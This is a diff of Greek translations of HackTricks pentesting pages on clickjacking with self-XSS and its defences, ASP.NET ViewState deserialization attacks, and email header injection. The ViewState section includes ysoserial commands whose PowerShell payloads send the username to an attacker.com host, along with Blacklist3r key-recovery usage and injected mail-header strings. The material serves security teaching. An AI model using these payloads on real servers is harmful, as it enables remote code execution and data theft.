&#xNAN;_&#x59;ou βρήκατε μια **self XSS** σε κάποιες ιδιωτικές λεπτομέρειες του λογαριασμού (λεπτομέρειες που **μόνο εσείς μπορείτε να ρυθμίσετε και να διαβάσετε**). Η σελίδα με τη **φόρμα** για να ρυθμίσετε αυτές τις λεπτομέρειες είναι **ευάλωτη** σε **Clickjacking** και μπορείτε να **προκαταβάλετε** τη **φόρμα** με τις παραμέτρους GET._\
_&#x59;ou βρήκατε μια **self XSS** σε κάποιες ιδιωτικές λεπτομέρειες του λογαριασμού (λεπτομέρειες που **μόνο εσείς μπορείτε να ρυθμίσετε και να διαβάσετε**). Η σελίδα με τη **φόρμα** για να ρυθμίσετε αυτές τις λεπτομέρειες είναι **ευάλωτη** σε **Clickjacking** και μπορείτε να **προκαταλάβετε** τη **φόρμα** με τις παραμέτρους GET._\
\_\_Ένας επιτιθέμενος θα μπορούσε να προετοιμάσει μια **επίθεση Clickjacking** σε αυτή τη σελίδα **προκαταβάλλοντας** τη **φόρμα** με το **XSS payload** και **παραπλανώντας** τον **χρήστη** να **υποβάλει** τη φόρμα. Έτσι, **όταν η φόρμα υποβληθεί** και οι τιμές τροποποιηθούν, ο **χρήστης θα εκτελέσει το XSS**.
## Στρατηγικές για την Ελάφρυνση του Clickjacking
## Strategies to Mitigate Clickjacking
### Άμυνες Πλευράς Πελάτη
### Client-Side Defenses
Τα σενάρια που εκτελούνται στην πλευρά του πελάτη μπορούν να εκτελέσουν ενέργειες για να αποτρέψουν το Clickjacking:
Τα σενάρια που εκτελούνται στην πλευρά του πελάτη μπορούν να εκτελούν ενέργειες για να αποτρέψουν το Clickjacking:
- Διασφάλιση ότι το παράθυρο της εφαρμογής είναι το κύριο ή το πάνω παράθυρο.
- Κάνοντάς τα όλα τα πλαίσια ορατά.
@ -115,50 +115,50 @@ id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
```
Οι τιμές `allow-forms` και `allow-scripts` επιτρέπουν ενέργειες μέσα στο iframe ενώ απενεργοποιούν την πλοήγηση σε ανώτερο επίπεδο. Για να διασφαλιστεί η επιθυμητή λειτουργικότητα της στοχευμένης ιστοσελίδας, μπορεί να είναι απαραίτητες επιπλέον άδειες όπως `allow-same-origin` και `allow-modals`, ανάλογα με τον τύπο της επίθεσης. Τα μηνύματα κονσόλας του προγράμματος περιήγησης μπορούν να καθοδηγήσουν ποιες άδειες να επιτραπούν.
Η τιμή `allow-forms` και `allow-scripts` επιτρέπει ενέργειες μέσα στο iframe ενώ απενεργοποιεί την πλοήγηση σε ανώτερο επίπεδο. Για να διασφαλιστεί η επιθυμητή λειτουργικότητα της στοχευμένης ιστοσελίδας, μπορεί να είναι απαραίτητες επιπλέον άδειες όπως `allow-same-origin` και `allow-modals`, ανάλογα με τον τύπο της επίθεσης. Τα μηνύματα κονσόλας του προγράμματος περιήγησης μπορούν να καθοδηγήσουν ποιες άδειες να επιτραπούν.
### Αμυντικές Στρατηγικές Server-Side
### Αμυντικές Τεχνικές Server-Side
#### X-Frame-Options
Η **`X-Frame-Options` HTTP response header** ενημερώνει τα προγράμματα περιήγησης σχετικά με τη νομιμότητα της απόδοσης μιας σελίδας σε ένα `<frame>` ή `<iframe>`, βοηθώντας στην πρόληψη του Clickjacking:
Η **`X-Frame-Options` HTTP response header** ενημερώνει τους προγράμματα περιήγησης σχετικά με τη νομιμότητα της απόδοσης μιας σελίδας σε ένα `<frame>` ή `<iframe>`, βοηθώντας στην πρόληψη του Clickjacking:
- `X-Frame-Options: deny` - Κανένα domain δεν μπορεί να πλαισιώσει το περιεχόμενο.
- `X-Frame-Options: sameorigin` - Μόνο η τρέχουσα ιστοσελίδα μπορεί να πλαισιώσει το περιεχόμενο.
- `X-Frame-Options: allow-from https://trusted.com` - Μόνο η καθορισμένη 'uri' μπορεί να πλαισιώσει τη σελίδα.
- Σημειώστε τους περιορισμούς: αν το πρόγραμμα περιήγησης δεν υποστηρίζει αυτή τη οδηγία, μπορεί να μην λειτουργήσει. Ορισμένα προγράμματα περιήγησης προτιμούν την οδηγία CSP frame-ancestors.
- Σημειώστε τους περιορισμούς: αν ο περιηγητής δεν υποστηρίζει αυτή τη οδηγία, μπορεί να μην λειτουργήσει. Ορισμένοι περιηγητές προτιμούν την οδηγία CSP frame-ancestors.
#### Content Security Policy (CSP) frame-ancestors directive
#### Οδηγία frame-ancestors της Πολιτικής Ασφαλείας Περιεχομένου (CSP)
Η **`frame-ancestors` οδηγία στο CSP** είναι η προτεινόμενη μέθοδος για την προστασία από το Clickjacking:
Η **οδηγία `frame-ancestors` στην CSP** είναι η προτεινόμενη μέθοδος για την προστασία από Clickjacking:
- `frame-ancestors 'none'` - Παρόμοιο με το `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Παρόμοιο με το `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Παρόμοιο με το `X-Frame-Options: allow-from`.
- `frame-ancestors 'none'` - Παρόμοιο με `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Παρόμοιο με `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Παρόμοιο με `X-Frame-Options: allow-from`.
Για παράδειγμα, το παρακάτω CSP επιτρέπει μόνο την πλαισίωση από το ίδιο domain:
Για παράδειγμα, η παρακάτω CSP επιτρέπει μόνο την πλαισίωση από το ίδιο domain:
`Content-Security-Policy: frame-ancestors 'self';`
Περισσότερες λεπτομέρειες και σύνθετα παραδείγματα μπορούν να βρεθούν στην [τεκμηρίωση frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) και στην [τεκμηρίωση frame-ancestors της Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Content Security Policy (CSP) με `child-src` και `frame-src`
### Πολιτική Ασφαλείας Περιεχομένου (CSP) με `child-src` και `frame-src`
Η **Content Security Policy (CSP)** είναι ένα μέτρο ασφαλείας που βοηθά στην πρόληψη του Clickjacking και άλλων επιθέσεων εισαγωγής κώδικα καθορίζοντας ποιες πηγές πρέπει να επιτρέψει το πρόγραμμα περιήγησης να φορτώσουν περιεχόμενο.
Η **Πολιτική Ασφαλείας Περιεχομένου (CSP)** είναι ένα μέτρο ασφαλείας που βοηθά στην πρόληψη του Clickjacking και άλλων επιθέσεων εισαγωγής κώδικα καθορίζοντας ποιες πηγές πρέπει να επιτρέψει ο περιηγητής να φορτώσουν περιεχόμενο.
#### `frame-src` Directive
#### Οδηγία `frame-src`
- Ορίζει έγκυρες πηγές για frames.
- Πιο συγκεκριμένο από την οδηγία `default-src`.
- Πιο συγκεκριμένη από την οδηγία `default-src`.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Αυτή η πολιτική επιτρέπει πλαίσια από την ίδια προέλευση (self) και https://trusted-website.com.
#### `child-src` Οδηγία
#### `child-src` Directive
- Εισήχθη στο επίπεδο 2 του CSP για να ορίσει έγκυρες πηγές για web workers και πλαίσια.
- Λειτουργεί ως εναλλακτική για το frame-src και worker-src.
- Λειτουργεί ως εναλλακτική για το frame-src και το worker-src.
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
@ -170,9 +170,9 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
- Συμπεριφορά Εναλλακτικής: Εάν το frame-src απουσιάζει, το child-src χρησιμοποιείται ως εναλλακτική για τα πλαίσια. Εάν και τα δύο απουσιάζουν, χρησιμοποιείται το default-src.
- Αυστηρός Ορισμός Πηγής: Συμπεριλάβετε μόνο αξιόπιστες πηγές στις οδηγίες για να αποτρέψετε την εκμετάλλευση.
#### Σενάρια JavaScript για Σπάσιμο Πλαισίων
#### JavaScript Frame-Breaking Scripts
Αν και δεν είναι εντελώς αδιάβλητα, τα σενάρια βασισμένα σε JavaScript για το σπάσιμο πλαισίων μπορούν να χρησιμοποιηθούν για να αποτρέψουν μια ιστοσελίδα από το να πλαισιωθεί. Παράδειγμα:
Αν και δεν είναι εντελώς αλάνθαστα, τα σενάρια JavaScript που σπάνε πλαίσια μπορούν να χρησιμοποιηθούν για να αποτρέψουν μια ιστοσελίδα από το να πλαισιωθεί. Παράδειγμα:
```javascript
if (top !== self) {
top.location = self.location

View File

@ -1,52 +1,52 @@
# Εκμετάλλευση \_\_VIEWSTATE χωρίς να γνωρίζουμε τα μυστικά
# Exploiting \_\_VIEWSTATE without knowing the secrets
{{#include ../../banners/hacktricks-training.md}}
## Τι είναι το ViewState
## What is ViewState
**ViewState** λειτουργεί ως η προεπιλεγμένη μηχανισμός στο ASP.NET για τη διατήρηση δεδομένων σελίδας και ελέγχου σε διάφορες ιστοσελίδες. Κατά την απόδοση του HTML μιας σελίδας, η τρέχουσα κατάσταση της σελίδας και οι τιμές που πρέπει να διατηρηθούν κατά τη διάρκεια μιας postback σειριοποιούνται σε base64-encoded strings. Αυτές οι συμβολοσειρές τοποθετούνται σε κρυφά πεδία ViewState.
**ViewState** χρησιμεύει ως η προεπιλεγμένη μηχανισμός στο ASP.NET για τη διατήρηση δεδομένων σελίδας και ελέγχου σε διάφορες ιστοσελίδες. Κατά την απόδοση του HTML μιας σελίδας, η τρέχουσα κατάσταση της σελίδας και οι τιμές που πρέπει να διατηρηθούν κατά τη διάρκεια μιας postback σειριοποιούνται σε base64-encoded strings. Αυτές οι συμβολοσειρές τοποθετούνται στη συνέχεια σε κρυφά πεδία ViewState.
Οι πληροφορίες του ViewState μπορούν να χαρακτηριστούν από τις εξής ιδιότητες ή τους συνδυασμούς τους:
Οι πληροφορίες ViewState μπορούν να χαρακτηριστούν από τις εξής ιδιότητες ή τους συνδυασμούς τους:
- **Base64**:
- Αυτός ο μορφή χρησιμοποιείται όταν και οι δύο ιδιότητες `EnableViewStateMac` και `ViewStateEncryptionMode` είναι ρυθμισμένες σε false.
- **Base64 + MAC (Κωδικός Αυθεντικοποίησης Μηνύματος) Ενεργοποιημένος**:
- Η ενεργοποίηση του MAC επιτυγχάνεται ρυθμίζοντας την ιδιότητα `EnableViewStateMac` σε true. Αυτό παρέχει επαλήθευση ακεραιότητας για τα δεδομένα του ViewState.
- **Base64 + Κρυπτογραφημένος**:
- Η κρυπτογράφηση εφαρμόζεται όταν η ιδιότητα `ViewStateEncryptionMode` είναι ρυθμισμένη σε true, διασφαλίζοντας την εμπιστευτικότητα των δεδομένων του ViewState.
- **Base64 + MAC (Message Authentication Code) Enabled**:
- Η ενεργοποίηση του MAC επιτυγχάνεται ρυθμίζοντας την ιδιότητα `EnableViewStateMac` σε true. Αυτό παρέχει επαλήθευση ακεραιότητας για τα δεδομένα ViewState.
- **Base64 + Encrypted**:
- Η κρυπτογράφηση εφαρμόζεται όταν η ιδιότητα `ViewStateEncryptionMode` είναι ρυθμισμένη σε true, διασφαλίζοντας την εμπιστευτικότητα των δεδομένων ViewState.
## Δοκιμαστικές Περιπτώσεις
## Test Cases
Η εικόνα είναι ένας πίνακας που λεπτομερεί διαφορετικές ρυθμίσεις για το ViewState στο ASP.NET με βάση την έκδοση του .NET framework. Ακολουθεί μια περίληψη του περιεχομένου:
Η εικόνα είναι ένας πίνακας που λεπτομερεί διαφορετικές ρυθμίσεις για το ViewState στο ASP.NET με βάση την έκδοση του .NET framework. Ακολουθεί μια σύνοψη του περιεχομένου:
1. Για **οποιαδήποτε έκδοση του .NET**, όταν και οι δύο MAC και Κρυπτογράφηση είναι απενεργοποιημένες, δεν απαιτείται MachineKey, και επομένως δεν υπάρχει εφαρμόσιμη μέθοδος για να το προσδιορίσουμε.
2. Για **εκδόσεις κάτω από 4.5**, εάν ο MAC είναι ενεργοποιημένος αλλά η Κρυπτογράφηση δεν είναι, απαιτείται MachineKey. Η μέθοδος για τον προσδιορισμό του MachineKey αναφέρεται ως "Blacklist3r."
3. Για **εκδόσεις κάτω από 4.5**, ανεξαρτήτως αν ο MAC είναι ενεργοποιημένος ή απενεργοποιημένος, εάν η Κρυπτογράφηση είναι ενεργοποιημένη, απαιτείται MachineKey. Ο προσδιορισμός του MachineKey είναι έργο για τον "Blacklist3r - Μελλοντική Ανάπτυξη."
4. Για **εκδόσεις 4.5 και άνω**, όλοι οι συνδυασμοί MAC και Κρυπτογράφησης (είτε και οι δύο είναι true, είτε ο ένας είναι true και ο άλλος false) απαιτούν MachineKey. Ο MachineKey μπορεί να προσδιοριστεί χρησιμοποιώντας τον "Blacklist3r."
1. Για **οποιαδήποτε έκδοση του .NET**, όταν και οι δύο MAC και Κρυπτογράφηση είναι απενεργοποιημένες, δεν απαιτείται MachineKey, και επομένως δεν υπάρχει εφαρμόσιμη μέθοδος για να το προσδιορίσετε.
2. Για **εκδόσεις κάτω από 4.5**, εάν το MAC είναι ενεργοποιημένο αλλά η Κρυπτογράφηση δεν είναι, απαιτείται MachineKey. Η μέθοδος για τον προσδιορισμό του MachineKey αναφέρεται ως "Blacklist3r."
3. Για **εκδόσεις κάτω από 4.5**, ανεξαρτήτως αν το MAC είναι ενεργοποιημένο ή απενεργοποιημένο, εάν η Κρυπτογράφηση είναι ενεργοποιημένη, απαιτείται MachineKey. Ο προσδιορισμός του MachineKey είναι έργο για το "Blacklist3r - Future Development."
4. Για **εκδόσεις 4.5 και άνω**, όλοι οι συνδυασμοί MAC και Κρυπτογράφησης (είτε και οι δύο είναι true, είτε το ένα είναι true και το άλλο false) απαιτούν MachineKey. Ο MachineKey μπορεί να προσδιοριστεί χρησιμοποιώντας το "Blacklist3r."
### Δοκιμαστική Περίπτωση: 1 EnableViewStateMac=false και viewStateEncryptionMode=false
### Test Case: 1 EnableViewStateMac=false and viewStateEncryptionMode=false
Είναι επίσης δυνατή η πλήρης απενεργοποίηση του ViewStateMAC ρυθμίζοντας το κλειδί μητρώου `AspNetEnforceViewStateMac` σε μηδέν στο:
Είναι επίσης δυνατό να απενεργοποιηθεί εντελώς το ViewStateMAC ρυθμίζοντας το κλειδί μητρώου `AspNetEnforceViewStateMac` σε μηδέν στο:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**Αναγνώριση Χαρακτηριστικών ViewState**
**Εντοπισμός Χαρακτηριστικών ViewState**
Μπορείτε να προσπαθήσετε να προσδιορίσετε αν το ViewState είναι προστατευμένο με MAC καταγράφοντας ένα αίτημα που περιέχει αυτή την παράμετρο με το BurpSuite. Αν το Mac δεν χρησιμοποιείται για την προστασία της παραμέτρου, μπορείτε να το εκμεταλλευτείτε χρησιμοποιώντας [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
Μπορείτε να προσπαθήσετε να εντοπίσετε αν το ViewState είναι προστατευμένο με MAC καταγράφοντας ένα αίτημα που περιέχει αυτή την παράμετρο με το BurpSuite. Αν το Mac δεν χρησιμοποιείται για την προστασία της παραμέτρου, μπορείτε να το εκμεταλλευτείτε χρησιμοποιώντας [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Test case 1.5 Όπως η δοκιμή 1 αλλά το cookie ViewState δεν αποστέλλεται από τον διακομιστή
### Test case 1.5 Like Test case 1 but the ViewState cookie isn't sent by the server
Οι προγραμματιστές μπορούν να **αφαιρέσουν το ViewState** από το να γίνει μέρος ενός HTTP Request (ο χρήστης δεν θα λάβει αυτό το cookie).\
Κάποιος μπορεί να υποθέσει ότι αν το **ViewState** είναι **μη παρόν**, η υλοποίησή τους είναι **ασφαλής** από οποιεσδήποτε πιθανές ευπάθειες που προκύπτουν από την αποσυναρμολόγηση του ViewState.\
Ωστόσο, αυτό δεν ισχύει. Αν **προσθέσουμε την παράμετρο ViewState** στο σώμα του αιτήματος και στείλουμε το σειριασμένο payload μας που δημιουργήθηκε χρησιμοποιώντας το ysoserial, θα μπορέσουμε ακόμα να επιτύχουμε **εκτέλεση κώδικα** όπως φαίνεται στην **Περίπτωση 1**.
Κάποιος μπορεί να υποθέσει ότι αν το **ViewState** είναι **μη παρόν**, η υλοποίησή τους είναι **ασφαλής** από οποιεσδήποτε πιθανές ευπάθειες που προκύπτουν από την αποσειριοποίηση του ViewState.\
Ωστόσο, αυτό δεν ισχύει. Αν **προσθέσουμε την παράμετρο ViewState** στο σώμα του αιτήματος και στείλουμε το σειριοποιημένο payload μας που δημιουργήθηκε χρησιμοποιώντας το ysoserial, θα μπορέσουμε ακόμα να επιτύχουμε **εκτέλεση κώδικα** όπως φαίνεται στην **Περίπτωση 1**.
### Test Case: 2 .Net < 4.5 και EnableViewStateMac=true & ViewStateEncryptionMode=false
### Test Case: 2 .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
Για να **ενεργοποιήσουμε το ViewState MAC** για μια **συγκεκριμένη σελίδα** πρέπει να κάνουμε τις παρακάτω αλλαγές σε ένα συγκεκριμένο αρχείο aspx:
Για να **ενεργοποιήσουμε το ViewState MAC** για μια **συγκεκριμένη σελίδα** πρέπει να κάνουμε τις εξής αλλαγές σε ένα συγκεκριμένο αρχείο aspx:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
@ -61,7 +61,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
</system.web>
</configuration>
```
Καθώς η παράμετρος είναι προστατευμένη με MAC, αυτή τη φορά για να εκτελέσουμε επιτυχώς την επίθεση, πρώτα χρειαζόμαστε το κλειδί που χρησιμοποιήθηκε.
Καθώς η παράμετρος είναι προστατευμένη με MAC, αυτή τη φορά για να εκτελέσουμε επιτυχώς την επίθεση, πρώτα χρειάζεται το κλειδί που χρησιμοποιήθηκε.
Μπορείτε να προσπαθήσετε να χρησιμοποιήσετε [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) για να βρείτε το κλειδί που χρησιμοποιήθηκε.
```
@ -102,11 +102,11 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
--generator = {__VIWESTATEGENERATOR parameter value}
```
Σε περιπτώσεις όπου η παράμετρος `_VIEWSTATEGENERATOR` **δεν αποστέλλεται** από τον διακομιστή, **δεν** χρειάζεται να **παρέχετε** την παράμετρο `--generator` **αλλά αυτές τις**:
Σε περιπτώσεις όπου η παράμετρος `_VIEWSTATEGENERATOR` **δεν αποστέλλεται** από τον διακομιστή, **δεν** χρειάζεται να **παρέχετε** την παράμετρο `--generator` **αλλά αυτές**:
```bash
--apppath="/" --path="/hello.aspx"
```
### Test Case: 3 .Net < 4.5 και EnableViewStateMac=true/false και ViewStateEncryptionMode=true
### Test Case: 3 .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
Σε αυτή την περίπτωση δεν είναι γνωστό αν η παράμετρος είναι προστατευμένη με MAC. Τότε, η τιμή είναι πιθανώς κρυπτογραφημένη και θα **χρειαστείτε το Machine Key για να κρυπτογραφήσετε το payload σας** για να εκμεταλλευτείτε την ευπάθεια.
@ -114,11 +114,11 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
**Πριν από το .NET 4.5**, το ASP.NET μπορεί να **δέχεται** μια **μη κρυπτογραφημένη** \_`__VIEWSTATE`\_παράμετρο από τους χρήστες **ακόμα και αν** **`ViewStateEncryptionMode`** έχει οριστεί σε _**Always**_. Το ASP.NET **ελέγχει μόνο** την **παρουσία** της **`__VIEWSTATEENCRYPTED`** παραμέτρου στο αίτημα. **Αν κάποιος αφαιρέσει αυτή την παράμετρο και στείλει το μη κρυπτογραφημένο payload, θα επεξεργαστεί κανονικά.**
Επομένως, αν οι επιτιθέμενοι βρουν έναν τρόπο να αποκτήσουν το Machinekey μέσω άλλης ευπάθειας όπως η διαδρομή αρχείων, η [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) εντολή που χρησιμοποιήθηκε στην **Περίπτωση 2**, μπορεί να χρησιμοποιηθεί για να εκτελέσει RCE χρησιμοποιώντας την ευπάθεια αποσυμπίεσης ViewState.
Επομένως, αν οι επιτιθέμενοι βρουν έναν τρόπο να αποκτήσουν το Machinekey μέσω άλλης ευπάθειας όπως η διαδρομή αρχείων, η εντολή [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) που χρησιμοποιήθηκε στην **Περίπτωση 2**, μπορεί να χρησιμοποιηθεί για να εκτελέσει RCE χρησιμοποιώντας την ευπάθεια αποσυμπίεσης του ViewState.
- Αφαιρέστε την παράμετρο `__VIEWSTATEENCRYPTED` από το αίτημα προκειμένου να εκμεταλλευτείτε την ευπάθεια αποσυμπίεσης ViewState, αλλιώς θα επιστρέψει ένα σφάλμα επικύρωσης MAC Viewstate και η εκμετάλλευση θα αποτύχει.
- Αφαιρέστε την παράμετρο `__VIEWSTATEENCRYPTED` από το αίτημα προκειμένου να εκμεταλλευτείτε την ευπάθεια αποσυμπίεσης του ViewState, αλλιώς θα επιστρέψει ένα σφάλμα επικύρωσης MAC του Viewstate και η εκμετάλλευση θα αποτύχει.
### Test Case: 4 .Net >= 4.5 και EnableViewStateMac=true/false και ViewStateEncryptionMode=true/false εκτός αν και οι δύο παράμετροι είναι false
### Test Case: 4 .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
Μπορούμε να αναγκάσουμε τη χρήση του πλαισίου ASP.NET καθορίζοντας την παρακάτω παράμετρο μέσα στο αρχείο web.config όπως φαίνεται παρακάτω.
```xml
@ -128,7 +128,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
```bash
compatibilityMode="Framework45"
```
Όπως και στην προηγούμενη περίπτωση, το **value είναι κρυπτογραφημένο.** Στη συνέχεια, για να στείλει μια **έγκυρη payload ο επιτιθέμενος χρειάζεται το κλειδί**.
Όπως και στην προηγούμενη περίπτωση, το **value είναι κρυπτογραφημένο.** Στη συνέχεια, για να στείλει μια **έγκυρη payload, ο επιτιθέμενος χρειάζεται το κλειδί**.
Μπορείτε να προσπαθήσετε να χρησιμοποιήσετε [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) για να βρείτε το κλειδί που χρησιμοποιείται:
```
@ -138,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
Για μια πιο λεπτομερή περιγραφή για το IISDirPath και το TargetPagePath [ανατρέξτε εδώ](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Για μια πιο λεπτομερή περιγραφή για IISDirPath και TargetPagePath [ανατρέξτε εδώ](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Ή, με [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (με μια τιμή γεννήτριας):
```bash
@ -155,7 +155,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
Μια επιτυχής εκμετάλλευση της ευπάθειας αποσυμπίεσης ViewState θα οδηγήσει σε ένα out-of-band αίτημα σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο, το οποίο περιλαμβάνει το όνομα χρήστη. Αυτός ο τύπος εκμετάλλευσης αποδεικνύεται σε μια απόδειξη της έννοιας (PoC) που μπορεί να βρεθεί μέσω ενός πόρου με τίτλο "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Για περισσότερες λεπτομέρειες σχετικά με το πώς λειτουργεί η διαδικασία εκμετάλλευσης και πώς να χρησιμοποιήσετε εργαλεία όπως το Blacklist3r για να εντοπίσετε το MachineKey, μπορείτε να αναθεωρήσετε την παρεχόμενη [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
Μια επιτυχής εκμετάλλευση της ευπάθειας αποσυμπίεσης ViewState θα οδηγήσει σε ένα out-of-band αίτημα σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο, το οποίο περιλαμβάνει το όνομα χρήστη. Αυτός ο τύπος εκμετάλλευσης αποδεικνύεται σε μια απόδειξη της έννοιας (PoC) που μπορεί να βρεθεί μέσω ενός πόρου με τίτλο "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Για περισσότερες λεπτομέρειες σχετικά με το πώς λειτουργεί η διαδικασία εκμετάλλευσης και πώς να χρησιμοποιήσετε εργαλεία όπως το Blacklist3r για να προσδιορίσετε το MachineKey, μπορείτε να αναθεωρήσετε την παρεχόμενη [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
### Test Case 6 Χρησιμοποιείται το ViewStateUserKeys
@ -166,15 +166,17 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
```
### Αποτέλεσμα Μιας Επιτυχούς Εκμετάλλευσης <a href="#poc" id="poc"></a>
Για όλες τις περιπτώσεις δοκιμών, αν το payload ViewState YSoSerial.Net λειτουργεί **επιτυχώς**, τότε ο διακομιστής απαντά με “**500 Internal server error**” έχοντας περιεχόμενο απάντησης “**Η πληροφορία κατάστασης είναι μη έγκυρη για αυτή τη σελίδα και μπορεί να έχει διαφθαρεί**” και λαμβάνουμε το OOB request.
Για όλες τις περιπτώσεις δοκιμών, αν το payload ViewState YSoSerial.Net λειτουργεί **επιτυχώς**, τότε ο διακομιστής απαντά με “**500 Internal server error**” έχοντας περιεχόμενο απάντησης “**Οι πληροφορίες κατάστασης είναι μη έγκυρες για αυτή τη σελίδα και μπορεί να είναι κατεστραμμένες**” και λαμβάνουμε το OOB request.
Έλεγχος για [περισσότερες πληροφορίες εδώ](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
Ελέγξτε για [περισσότερες πληροφορίες εδώ](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
## Αναφορές
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -8,7 +8,7 @@
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Το μήνυμα θα σταλεί στους λογαριασμούς του παραλήπτη και του παραλήπτη1.
Το μήνυμα θα σταλεί στους λογαριασμούς παραλήπτη και παραλήπτη1.
### Εισαγωγή παραμέτρου
```
@ -20,7 +20,7 @@ From:sender@domain.com%0ATo:attacker@domain.com
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Ο ψεύτικος τίτλος θα προστεθεί στον αρχικό τίτλο και σε ορισμένες περιπτώσεις θα τον αντικαταστήσει. Εξαρτάται από τη συμπεριφορά της υπηρεσίας email.
Το ψεύτικο θέμα θα προστεθεί στο αρχικό θέμα και σε ορισμένες περιπτώσεις θα το αντικαταστήσει. Εξαρτάται από τη συμπεριφορά της υπηρεσίας email.
### Αλλαγή του σώματος του μηνύματος
@ -50,7 +50,7 @@ Parameter #4 [ <optional> $additional_parameters ]
Αυτή η παράμετρος θα προστεθεί στη γραμμή εντολών που θα χρησιμοποιεί το PHP για να καλέσει το δυαδικό sendmail. Ωστόσο, θα καθαριστεί με τη λειτουργία `escapeshellcmd($additional_parameters)`.
Ένας επιτιθέμενος μπορεί να **εισάγει παραμέτρους για το sendmail** σε αυτή την περίπτωση.
Ένας επιτιθέμενος μπορεί να **εισάγει επιπλέον παραμέτρους για το sendmail** σε αυτή την περίπτωση.
#### Διαφορές στην υλοποίηση του /usr/sbin/sendmail
@ -67,15 +67,15 @@ Parameter #4 [ <optional> $additional_parameters ]
## Εισαγωγή στο όνομα email
> [!CAUTION]
> Σημειώστε ότι αν καταφέρετε να δημιουργήσετε έναν λογαριασμό σε μια υπηρεσία με αυθαίρετο όνομα τομέα (όπως Github, Gitlab, CloudFlare Zero trust...) και να τον επιβεβαιώσετε λαμβάνοντας το email επιβεβαίωσης στη διεύθυνση email σας, μπορεί να μπορέσετε να αποκτήσετε πρόσβαση σε ευαίσθητες τοποθεσίες της εταιρείας-θύματος.
